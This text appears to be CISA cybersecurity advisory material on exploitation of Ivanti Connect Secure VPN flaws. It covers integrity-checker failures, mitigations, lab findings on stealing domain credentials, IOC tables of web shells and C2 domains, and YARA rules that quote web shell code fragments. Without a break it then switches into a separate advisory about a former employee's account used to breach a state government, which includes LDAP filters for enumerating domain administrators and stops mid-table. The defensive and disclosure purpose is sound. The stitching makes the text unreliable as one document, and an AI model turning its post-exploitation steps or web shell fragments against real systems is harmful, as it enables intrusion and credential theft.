During incident response investigations, CISA identified that Ivanti’s internal and external ICT failed to detect compromise. The organizations leveraged the integrity checker to identify file mismatches in Ivanti devices; however, CISA incident response analysis confirmed that both the internal and external versions of the ICT were not reliable due to the existence of web shells found on systems that had no file mismatches according to the ICTs. Additionally, forensic analysis showed evidence the actors were able to clean up their efforts by overwriting files, time-stomping files, and re-mounting the runtime partition to return the appliance to a “clean state.” This reinforces that ICT scans are not reliable to indicate previous compromise and can result in a false sense of security that the device is free of compromise.

As detailed in Appendix A, CISA conducted independent research in a lab environment validating that the ICT is likely insufficient for detecting compromise and that a cyber threat actor may be able to maintain root level persistence despite issuing factory resets and appliance upgrades.

INDICATORS OF COMPROMISE

See Tables 1 – 4 in Appendix B for IOCs related to cyber actors exploiting multiple CVEs related to Ivanti appliances.

For additional indicators of compromise, see:

• Volexity: Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN
• Mandiant: Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation
• Mandiant: Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation
• Mandiant: Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts

Memory and disk forensics were used during forensic analysis, combined with the Integrity Checker Tool, to identify malicious files on the compromised Ivanti Connect Secure VPN appliance. This advisory provides a list of combined authoring organization IOCs and open source files identified by Volexity via network analysis.

Disclaimer: Some IP addresses in this advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action such as blocking. Activity should not be attributed as malicious without analytical evidence to support it is used at the direction of, or controlled by, threat actors.

DETECTION METHODS YARA Rules

See Appendix D for additional open source YARA rules, provided by Volexity, that may aid network defenders in detecting malicious activity within Ivanti Connect Secure VPN appliances. For more information on detection methods, visit Mandiant’s blog post Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation or the Volexity GitHub page.

INCIDENT RESPONSE

The authoring organizations encourage you to assess your organization’s user interface (UI) software and systems for evidence of compromise and to hunt for malicious activity using signatures outlined within this advisory. If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the Ivanti Connect Secure VPN appliance as well as executing arbitrary code and installing malicious payloads.

Note: These are vendor-managed appliances and systems may be encrypted with limited access. Thus, collecting artifacts may be limited on some versions of appliances. The authoring organizations recommend investigating associated devices on the network to identify lateral movement in the absence of access to the Secure Connect appliance.

If a potential compromise is detected, organizations should:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Reset all credentials that may have been exposed during the compromise, including user and service accounts.
4. Identify Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol (LDAP) and AD.
5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
   • Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
6. Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722). Organizations outside of the United States should contact their national cyber center. (See the Reporting section.)

MITIGATIONS

These mitigations apply to all critical infrastructure organizations and network defenders using Ivanti Connect Secure VPN and Ivanti Policy Secure. The authoring organizations recommend that software manufacturers incorporate Secure by Design principles and tactics into their software development practices. These principles and tactics can limit the impact of exploitation—such as threat actors leveraging newly discovered, unpatched vulnerabilities within Ivanti appliances—thus, strengthening the secure posture for their customers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

The authoring organizations recommend organizations implement the mitigations below to improve your cybersecurity posture based on threat actor activity and to reduce the risk of compromise associated with Ivanti vulnerabilities. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• As organizations make risk decisions in choosing a VPN, to include decisions regarding continued operation of Ivanti Connect Secure and Policy Secure gateways, avoid VPN solutions that use proprietary protocols or non-standard features. VPNs as a class of devices carry some specific risks that a non-expert implementer may trigger (e.g., authentication integration and patching). When choosing a VPN, organizations should consider vendors who:
  • Provide a Software Bill of Materials (SBOM) to proactively identify, and enable remediation of, embedded software vulnerabilities, such as deprecated operating systems.
  • Allow a restore from trusted media to establish a root of trust. If the software validation tooling can be modified by the software itself, there is no way to establish a root of trust other than returning the device to the manufacturer (return material authorization [RMA]).
  • Are a CVE Numbering Authority (CNA) so that CVEs are assigned to emerging vulnerabilities in a timely manner.
  • Have a public Vulnerability Disclosure Policy (VDP) to enable security researchers to proactively share and disclose vulnerabilities through coordinated vulnerability disclosure (CVD).
  • Have in place a clear end-of-life policy (EoL) to prepare customers for updating to supported product versions.
• Limit outbound internet connections from SSL VPN appliances to restrict access to required services. This will limit the ability of an actor to download tools or malware onto the device or establish outbound connections to command and control (C2) servers.
• Ensure SSL VPN appliances configured with Active Directory or LDAP authentication use low privilege accounts for the LDAP bind.
• Limit SSL VPN connections to unprivileged accounts only to help limit the exposure of privileged account credentials.
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Secure remote access tools.
  • Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Strictly limit the use of Remote Desktop Protocols (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Audit the network for systems using RDP.
  • Close unused RDP ports.
  • Enforce account lockouts after a specified number of attempts.
  • Apply phishing-resistant multifactor authentication (MFA).
  • Log RDP login attempts.

• Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST's standards for developing and managing password policies.
  • Use longer passwords consisting of at least 15 characters [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints.”
  • Require administrator credentials to install software.
• Review the CISA and NSA joint guidance for Selecting and Hardening Remote Access VPN Solutions.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how the controls perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (Appendix C).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REPORTING

U.S. organizations should report every potential cyber incident to the U.S. government. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI’s Internet Crime Complaint Center (IC3), local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI Field Office.

Australian organizations that have been impacted or require assistance regarding Ivanti compromise, contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.

UK organizations that have been impacted by Ivanti compromise, should report the incident to the National Cyber Security Centre.

Organizations outside of the United States or Australia should contact their national cyber center.

REFERENCES

1. Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN | Volexity
2. Ivanti Connect Secure VPN Exploitation Goes Global | Volexity
3. KB CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Command Injection) for Ivanti Connect Secure and Ivanti Policy Secure Gateways
4. Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Mandiant

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and authoring organizations.

ACKNOWLEDGEMENTS

Volexity, Mandiant, and Ivanti contributed to this advisory.

VERSION HISTORY

February 29, 2024: Initial version.

APPENDIX A: CISA’S PRODUCT EVALUATION FINDINGS Research Approach

As part of ongoing efforts to effectively serve the cybersecurity community with actionable insights and guidance, CISA conducted research by using a free and downloadable version of the Ivanti Connect Secure virtual appliance to assess potential attack paths and adversary persistence mechanisms. The virtual appliances were not connected to the internet, and were deployed in a closed virtualized network, with a non-internet connected Active Directory. This research included a variety of tests on version 22.3R1 Build 1647, connected to Active Directory credentials, to leverage the access obtained through CVE-2023-46805, CVE-2024-21887 and CVE-2024-21893. Put simply, CISA’s research team wanted to answer the question: “How far could an attacker go if they set were to exploit these CVEs remotely?”

Persistent Post-Reset and -Upgrade Access

Leveraging these vulnerabilities, CISA researchers were able to exfiltrate domain administrator cleartext credentials [TA0006], gain root-level persistence [TA0003], and bypass integrity checks used by the Integrity Checker application. CISA’s Incident Response team observed these specific techniques leveraged during the agency’s incident response engagements, along with the native tools and libraries to conduct internal reconnaissance and compromise domains behind the Ivanti appliances. CISA researchers assess that threat actors are able to use the credentials to move deeper into the environment.

The ability to exfiltrate domain administrator cleartext credentials, if saved when adding an “Active Directory Authentication server” during setup, was accomplished by using the root-level access obtained from the vulnerabilities to interface directly with the internal server and retrieve the cached credentials as shown in Figure 4, APPENDIX A. Users who currently have active sessions to the appliance could have their base64 encoded active directory cleartext passwords, in addition to the New Technology LAN Manager (NTLM) password hashes, retrieved with the same access, as shown in Figure 10, APPENDIX A. In addition to users with active sessions, users previously authenticated can have base64 encoded active directory plaintext passwords and NTLM hashes harvested from the backups of the data.mdb database files stored on the appliance, as shown in Figure 15 and 16, APPENDIX A.

The root-level access allows adversaries to maintain persistence despite issuing factory resets and appliance upgrades while deceiving the provided integrity checkers, creating the illusion of a clean installation. Due to the persistence mechanism being stored on the encrypted partition of the drive and inaccurate integrity check results, it is untenable for network administrators to validate their application has not been compromised without also decrypting the partition and validating against a clean installation of the appliance, which are actions not easily accomplished at present. Without major alterations of the integrity checking process, it is conceivable that new vulnerabilities that afford root-level access to the appliance could also result in root-kit level persistence to the appliance.

Below is proof of concept being released by CISA, which demonstrates the capacity of and opportunity for a threat actor to exfiltrate Domain Administrator credentials that were used during appliance configuration:

Figure 1: Ivanti Domain Join Configuration with “Save Credentials”​​​​​ Figure 2: CVE-2023-46805 Exploitation for Reverse Netcat Connection Figure 3: Upgrade Netcat Connection to Sliver Implant Figure 4: Leverage Sliver Implant to Run Perl Script for Retrieval of Cached Domain Administrator Credentials

Below is a demonstration of the capacity for post exploitation exfiltration of base64 encoded cleartext credentials for active directory users and their associated NTLM password hashes:

Figure 5: Configuration of User Realm Figure 6: User Realm Configuration to Domain Figure 7: Configuration of User Realm Mapping Figure 8: Login as “vpnuser1” to Establish an Active Session Figure 9: Using Sliver Implant as Shown in Figure 3, Execute Perl Script to Retrieve base64 Encoded Cleartext Password and NTLM Password Hash for Authenticated User Figure 10: Decode base64 Encoded Blob to Display User’s Plaintext Credentials Figure 11: Using Mimikatz Validate NTLM Password Hash Obtained in Figure 10 Matches Active Directory User Credential Hash Figure 12: Inactive Sessions for “vpnuser2” and “vpnuser3” Appear in Server Logs Figure 13: Exfiltrate “lmdb/data” and “lmdb-backup/data” data.mb Database Files Containing Credentials for Active and Inactive Sessions Figure 14: Parse Database Files to Disclose base64 Encoded Plaintext Credentials from LMDB Database Files Figure 15: Parse Database Files to Disclose NTLM Hashes from LMDB Database Files Figure 16: Parse Backup Database Files to Disclose Additional base64 Encoded Plaintext Credentials from LMDB-Backup Database Files Figure 17: Decode Credentials from LMDB-Backup Database Files Figure 18: Parse Database Files to Disclose NTLM Hashes for Additional Users from LMDB-Backup Database Files APPENDIX B: INDICATORS OF COMPROMISE Table 1: Ivanti Connect Secure VPN Indicators of Compromise Filename Description Purpose

/home/perl/DSLogConfig.pm

Modified Perl module.

Designed to execute sessionserver.pl.

/usr/bin/a.sh

gcore.in core dump script.

 

/bin/netmon

Sliver binary.

 

/home/venv3/lib/python3.6/site-packages/*.egg

Python package containing WIREFIRE among other files.

 

/home/etc/sql/dsserver/sessionserver.pl

Perl script to remount the filesystem with read/write access.

Make sessionserver.sh executable, execute it, then restore original mount settings.

/home/etc/sql/dsserver/sessionserver.sh

Script executed by sessionserver.pl.

Uses regular expressions to modify compcheckresult.cgi to insert a web shell into it; also creates a series of entries into files associated with the In-build Integrity Checker Tool to evade detection when periodic scans are run.

/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi

Modified legitimate component of the ICS VPN appliance, with new Perl module imports added and a one-liner to execute commands based on request parameters.

Allows remote code execution over the Internet if the attacker can craft a request with the correct parameters.

/home/webserver/htdocs/dana-na/auth/lastauthserverused.js

Modified legitimate JavaScript component loaded by user login page of the Web SSL VPN component of Ivanti Connect Secure.

Modified to harvest entered credentials and send them to a remote URL on an attacker-controlled domain.

Table 2: Ivanti Connect Secure VPN Indicators of Compromise Value Type Description

88.119.169[.]227

IP Address

 

103.13.28[.]40

IP Address

 

46.8.68[.]100

IPv4

 

206.189.208[.]156

IP Address

DigitalOcean IP address tied to UTA0178.

gpoaccess[.]com

Hostname

Suspected UTA0178 domain discovered via domain registration patterns.

webb-institute[.]com

Hostname

Suspected UTA0178 domain discovered via domain registration patterns.

symantke[.]com

Hostname

UTA0178 domain used to collect credentials from compromised devices.

75.145.243[.]85

IP Address

UTA0178 IP address observed interacting with compromised device.

47.207.9[.]89

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

98.160.48[.]170

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

173.220.106[.]166

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

73.128.178[.]221

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

50.243.177[.]161

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

50.213.208[.]89

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

64.24.179[.]210

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

75.145.224[.]109

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

 

50.215.39[.]49

IP Address

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

71.127.149[.]194

 

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

 

173.53.43[.]7

 

UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.

Table 3: Host-Based Indicators (HBIs) Indicators of Compromise Filename Hash Value Description

Cav-0.1-py3.6.egg

ed4b855941d6d7e07aacf016a2402c4c870876a050a4a547af194f5a9b47945f

WIREFIRE web shell

Health.py

3045f5b3d355a9ab26ab6f44cc831a83

CHAINLINE web shell

compcheckresult.cgi

3d97f55a03ceb4f71671aa2ecf5b24e9

CHAINLINE web shell

lastauthserverused.js

2ec505088b942c234f39a37188e80d7a

LIGHTWIRE web shell

lastauthserverused.js

8eb042da6ba683ef1bae460af103cc44

WARPWIRE credential harvester variant

lastauthserverused.js

a739bd4c2b9f3679f43579711448786f

WARPWIRE credential harvester variant

lastauthserverused.js

a81813f70151a022ea1065b7f4d6b5ab

WARPWIRE credential harvester variant

lastauthserverused.js

d0c7a334a4d9dcd3c6335ae13bee59ea

WARPWIRE credential harvester variant

lastauthserverused.js

e8489983d73ed30a4240a14b1f161254

WARPWIRE credential harvester variant

logo.gif

N/A — varies

Configuration and cache dump or CAV web server log exfiltration

login.gif

N/A — varies

Configuration and cache dump

[a-fA-f0-9]{10\.css

N/A — varies

Configuration and cache dump

visits.py

N/A — varies

WIREFIRE web shell

Table 4: Host-Based Indicators (HBIs) Indicators of Compromise Network Indicator Type Description

symantke[.]com

Domain

WARPWIRE C2 server

miltonhouse[.]nl

Domain

WARPWIRE variant C2 server

entraide-internationale[.]fr

Domain

WARPWIRE variant C2 server

api.d-n-s[.]name

Domain

WARPWIRE variant C2 server

cpanel.netbar[.]org

Domain

WARPWIRE variant C2 server

clickcom[.]click

Domain

WARPWIRE variant C2 server

clicko[.]click

Domain

WARPWIRE variant C2 server

duorhytm[.]fun

Domain

WARPWIRE variant C2 server

line-api[.]com

Domain

WARPWIRE variant C2 server

areekaweb[.]com

Domain

WARPWIRE variant C2 server

ehangmun[.]com

Domain

WARPWIRE variant C2 server

secure-cama[.]com

Domain

WARPWIRE variant C2 server

146.0.228[.]66

IPv4

WARPWIRE variant C2 server

159.65.130[.]146

IPv4

WARPWIRE variant C2 server

8.137.112[.]245

IPv4

WARPWIRE variant C2 server

91.92.254[.]14

IPv4

WARPWIRE variant C2 server

186.179.39[.]235 

IPv4

Mass exploitation activity

50.215.39[.]49

IPv4

Post-exploitation activity

45.61.136[.]14

IPv4

Post-exploitation activity

173.220.106[.]166

IPv4

Post-exploitation activity

APPENDIX C: MITRE ATT&CK TACTICS AND TECHNIQUES Table 5: Cyber Actors ATT&CK Techniques for Enterprise Initial Access    

Technique Title

ID

Use

Exploit Public-Facing Applications

T1190

Cyber actors will use custom web shells planted on public facing applications which allows persistence in victims’ environment.

Persistence    

Technique Title

ID

Use

Valid Accounts

T1078

Cyber actors leverage compromised accounts to laterally move within internal systems via RDP, SBD, and SSH.

Server Software Component: Web Shell

T1505.003

Cyber actors may use web shells on internal- and external-facing web servers to establish persistent access to systems.

Execution    

Technique Title

ID

Use

Command and Scripting Interpreter: PowerShell

T1059.001

Cyber actors leverage code execution from request parameters that are decoded from hex to base64 decoded, then passed to Assembly.Load(). Which is used to execute arbitrary powershell commands.

Exploitation for Client Execution

T1203

Cyber actors will exploit software vulnerabilities such as command-injection and achieve unauthenticated remote code execution (RCE).

APPENDIX D: DETECTION METHODS

rule apt_webshell_pl_complyshell: UTA0178

{

    meta:

        author = "threatintel@volexity.com"

        date = "2023-12-13"

        description = "Detection for the COMPLYSHELL webshell."

        hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"

        os = "linux"

        os_arch = "all"

        report = "TIB-20231215"

        scan_context = "file,memory"

        last_modified = "2024-01-09T10:05Z"

        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"

        rule_id = 9995

        version = 4

    strings:

        $s = "eval{my $c=Crypt::RC4->new("

    condition:

        $s

}

rule apt_webshell_aspx_glasstoken: UTA0178

{

    meta:

        author = "threatintel@volexity.com"

        date = "2023-12-12"

        description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."

        hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"

        os = "win"

        os_arch = "all"

        report = "TIB-20231215"

        scan_context = "file,memory"

        last_modified = "2024-01-09T10:08Z"

        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"

        rule_id = 9994

        version = 5

    strings:

        $s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii

        $re = /Assembly\.Load\(errors\)\.CreateInstance\("[a-z0-9A-Z]{4,12}"\).GetHashCode\(\);/

    condition:

        for any i in (0..#s1):

            (

                $re in (@s1[i]..@s1[i]+512)

            )

}

rule webshell_aspx_regeorg

{

    meta:

        author = "threatintel@volexity.com"

        date = "2018-08-29"

        description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."

        hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"

        os = "win"

        os_arch = "all"

        reference = "https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.aspx"

        report = "TIB-20231215"

        scan_context = "file,memory"

        last_modified = "2024-01-09T10:04Z"

        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"

        rule_id = 410

        version = 7

    strings:

        $a1 = "every office needs a tool like Georg" ascii

        $a2 = "cmd = Request.QueryString.Get(\"cmd\")" ascii

        $a3 = "exKak.Message" ascii

        $proxy1 = "if (rkey != \"Content-Length\" && rkey != \"Transfer-Encoding\")"

        $proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"UTF-8\"));" ascii

        $proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii

        $proxy_b3 = "Response.AddHeader(\"Content-Length\", rbody.Length.ToString());" ascii

    condition:

        any of ($a*) or

        $proxy1 or

        all of ($proxy_b*)

}

rule hacktool_py_pysoxy

{

    meta:

        author = "threatintel@volexity.com"

        date = "2024-01-09"

        description = "SOCKS5 proxy tool used to relay connections."

        hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb"

        os = "all"

        os_arch = "all"

        reference = "https://github.com/MisterDaneel/pysoxy/blob/master/pysoxy.py"

        report = "TIB-20240109"

        scan_context = "file,memory"

        last_modified = "2024-01-09T13:45Z"

        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"

        rule_id = 10065

        version = 3

    strings:

        $s1 = "proxy_loop" ascii

        $s2 = "connect_to_dst" ascii

        $s3 = "request_client" ascii

        $s4 = "subnegotiation_client" ascii

        $s5 = "bind_port" ascii

    condition:

        all of them

}

rule apt_webshell_py_categorical: UTA0178

{

    meta:

        author = "threatintel@volexity.com"

        date = "2024-01-18"

        description = "Detection for the CATEGORICAL webshell."

        os = "linux"

        os_arch = "all"

        scan_context = "file,memory"

        severity = "critical"

 

    strings:

        $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode" ascii

        $s2 = "globals()[dskey].pop('result',None)" ascii

        $s3 = "dsid=request.cookies.get('DSID'" ascii

 

    condition:

        any of ($s*)

}

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) conducted an incident response assessment of a state government organization’s network environment after documents containing host and user information, including metadata, were posted on a dark web brokerage site. Analysis confirmed that an unidentified threat actor compromised network administrator credentials through the account of a former employee—a technique commonly leveraged by threat actors—to successfully authenticate to an internal virtual private network (VPN) access point, further navigate the victim’s on-premises environment, and execute various lightweight directory access protocol (LDAP) queries against a domain controller.[1] Analysis also focused on the victim’s Azure environment, which hosts sensitive systems and data, as well as the compromised on-premises environment. Analysis determined there were no indications the threat actor further compromised the organization by moving laterally from the on-premises environment to the Azure environment.

CISA and MS-ISAC are releasing this Cybersecurity Advisory (CSA) to provide network defenders with the tactics, techniques, and procedures (TTPs) used by the threat actor and methods to protect against similar exploitation of both unnecessary and privileged accounts.

Download the PDF version of this report:

AA24-046A Threat Actor Leverages Compromised Account of Former Employee to Access State Government Organization (PDF, 499.99 KB ) TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actor’s activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

A state government organization was notified that documents containing host and user information, including metadata, were posted on a dark web brokerage site. After further investigation, the victim organization determined that the documents were accessed via the compromised account of a former employee. Threat actors commonly leverage valid accounts, including accounts of former employees that have not been properly removed from the Active Directory (AD), to gain access to organizations.[1] CISA and MS-ISAC assessed that an unidentified threat actor likely accessed documents containing host and user information to post on the dark web for profit after gaining access through the account of a former employee.

The scope of this investigation included the victim organization’s on-premises environment, as well as their Azure environment, which hosts sensitive systems and data. Analysis determined the threat actor did not move laterally from the compromised on-premises network to the Azure environment and did not compromise sensitive systems.

Untitled Goose Tool

Incident responders collected Azure and Microsoft Defender for Endpoint (MDE) logs using CISA’s Untitled Goose Tool—a free tool to help network defenders detect potentially malicious activity in Microsoft Azure, Azure Active Directory (AAD), and Microsoft 365 (M365) environments. CISA developed the Untitled Goose Tool to export and review AAD sign-in and audit logs, M365 unified audit logs (UAL), Azure activity logs, and MDE data. By exporting cloud artifacts, Untitled Goose Tool supports incident response teams with environments that do not ingest logs into a security information and event management (SIEM) tool.

Threat Actor Activity

The logs revealed the threat actor first connected from an unknown virtual machine (VM) to the victim’s on-premises environment via internet protocol (IP) addresses within their internal VPN range. CISA and MS-ISAC assessed that the threat actor connected to the VM through the victim’s VPN [T1133] with the intent to blend in with legitimate traffic to evade detection.

Initial Access: Compromised Domain Accounts

USER1: The threat actor gained initial access through the compromised account of a former employee with administrative privileges (USER1) [T1078.002] to conduct reconnaissance and discovery activities. The victim organization confirmed that this account was not disabled immediately following the employee’s departure.

• The threat actor likely obtained the USER1 account credentials in a separate data breach due to the credentials appearing in publicly available channels containing leaked account information [T1589.001].
• USER1 had access to two virtualized servers including SharePoint and the workstation of the former employee. The workstation was virtualized from a physical workstation using the Veeam Physical to Virtual (P2V) function within the backup software.

USER2: The threat actor likely obtained the USER2 account credentials from the virtualized SharePoint server managed by USER1 [T1213.002]. The victim confirmed that the administrator credentials for USER2 were stored locally on this server [T1552.001].

• Through connection from the VM, the threat actor authenticated to multiple services [T1021] via the USER1 account, as well as from an additional compromised global domain administrator account (USER2) [T1078.002].

• The threat actor’s use of the USER2 account was impactful due to the access it granted to both the on-premises AD and Azure AD [T1021.007], thus enabling administrative privileges [T1078.004].

Following notification of the dark web posting, the victim organization immediately disabled the USER1 account and took the two virtualized servers associated with the former employee offline. The victim also changed the password for the USER2 account and removed administrator privileges. Neither of the administrative accounts had multifactor authentication (MFA) enabled.

LDAP Queries

Through connection from the VM, the threat actor conducted LDAP queries of the AD, likely using the open source tool AdFind.exe, based on the format of the output. CISA and MS-ISAC assess the threat actor executed the LDAP queries [T1087.002] to collect user, host [T1018], and trust relationship information [T1482]. It is also believed the LDAP queries generated the text files the threat actor posted for sale on the dark web brokerage site: ad_users.txt, ad_computers.txt, and trustdmp.txt.

Table 1 lists all queries that were conducted between 08:39:43-08:40:56 Coordinated Universal Time (UTC).

Table 1: LDAP Queries Conducted by the Threat Actor Query Description

LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Person,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)

Collects names and metadata of users in the domain.

LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Computer,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)

Collects names and metadata of hosts in the domain.

LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)

Collects trust information in the domain.

LDAP Search Scope: WholeSubtree, Base Object: DC=[REDACTED],DC=local, Search Filter: ( &  ( &  (sAMAccountType=805306368)  (servicePrincipalName=*) ( ! (sAMAccountName=krbtgt) ) ( !  (userAccountControl&2) ) )  (adminCount=1) )

Collects Domain Administrators and Service Principals in the domain.

Service Authentication

Through the VM connection, the threat actor was observed authenticating to various services on the victim organization’s network from the USER1 and USER2 administrative accounts. In all instances, the threat actor authenticated to the Common Internet File Service (CIFS) on various endpoints [T1078.002],[T1021.002]—a protocol used for providing shared access to files and printers between machines on the network. This was likely used for file, folder, and directory discovery [T1083], and assessed to be executed in an automated manner.

• USER1 authenticated to four services, presumably for the purpose of network and service discovery [T1046].
• USER2 authenticated to twelve services. Note: This account had administrative privileges to both the on-premises network and Azure tenant.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 2-9 for all referenced threat actor’s tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 2: Reconnaissance Technique Title ID Use

Gather Victim Identity Information: Credentials

T1589.001

The actor likely gathered USER1 account credentials in a data breach where account information appeared in publicly available channels.

Table 3: Initial Access Technique Title ID Use

Valid Accounts: Domain Accounts

T1078.002

The actor gained initial access through the compromised account of a former employee with administrative privileges (USER1). The employee’s account was not immediately disabled after their departure.

Table 4: Persistence Technique Title ID Use

External Remote Services

T1133

The actor connected a VM via the victim’s VPN to blend in with legitimate traffic to evade detection.

Table 5: Privilege Escalation Technique Title ID Use

Valid Accounts: Domain Accounts

T1078.002

The actor authenticated to multiple services from a compromised Global Domain Administrator account (USER2). The actor also authenticated to the Common Internet File Service (CIFS) on various endpoints.

Valid Accounts: Cloud Accounts

T1078.004

